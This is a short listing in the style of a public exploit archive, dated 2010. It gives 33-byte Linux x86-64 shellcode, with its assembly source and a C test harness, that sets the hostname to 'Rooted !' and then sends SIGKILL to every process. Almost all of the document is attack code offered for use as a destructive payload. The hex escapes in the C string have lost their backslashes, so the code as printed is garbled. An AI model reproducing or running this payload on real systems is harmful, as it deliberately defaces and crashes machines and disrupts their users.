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linux/x86-64 sethostname() & killall 33 bytes shellcode

Posted on 26 April 2010

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linux/x86-64 sethostname() &amp; killall shellcode 33 bytes
=======================================================

# Linux/x86_64 sethostname() &amp; killall 33 bytes shellcode
# Date: 2010-04-26
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
 
 
/*
    ; sethostname(&quot;Rooted !&quot;);
    ; kill(-1, SIGKILL);
 
 
    section .text
        global _start
 
    _start:
 
        ;-- setHostName(&quot;Rooted !&quot;); 22 bytes --;
        mov     al, 0xaa
        mov     r8, 'Rooted !'
        push    r8
        mov     rdi, rsp
        mov     sil, 0x8
        syscall
 
        ;-- kill(-1, SIGKILL); 11 bytes --;
        push    byte 0x3e
        pop     rax
        push    byte 0xff
        pop     rdi
        push    byte 0x9
        pop     rsi
        syscall
*/
int main(void)
{
    char shellcode[] =
    &quot;xb0xaax49xb8x52x6fx6fx74x65x64x20x21x41x50x48x89&quot;
    &quot;xe7x40xb6x08x0fx05x6ax3ex58x6axffx5fx6ax09x5ex0fx05&quot;;
 
    (*(void (*)()) shellcode)();
 
    return 0;
}


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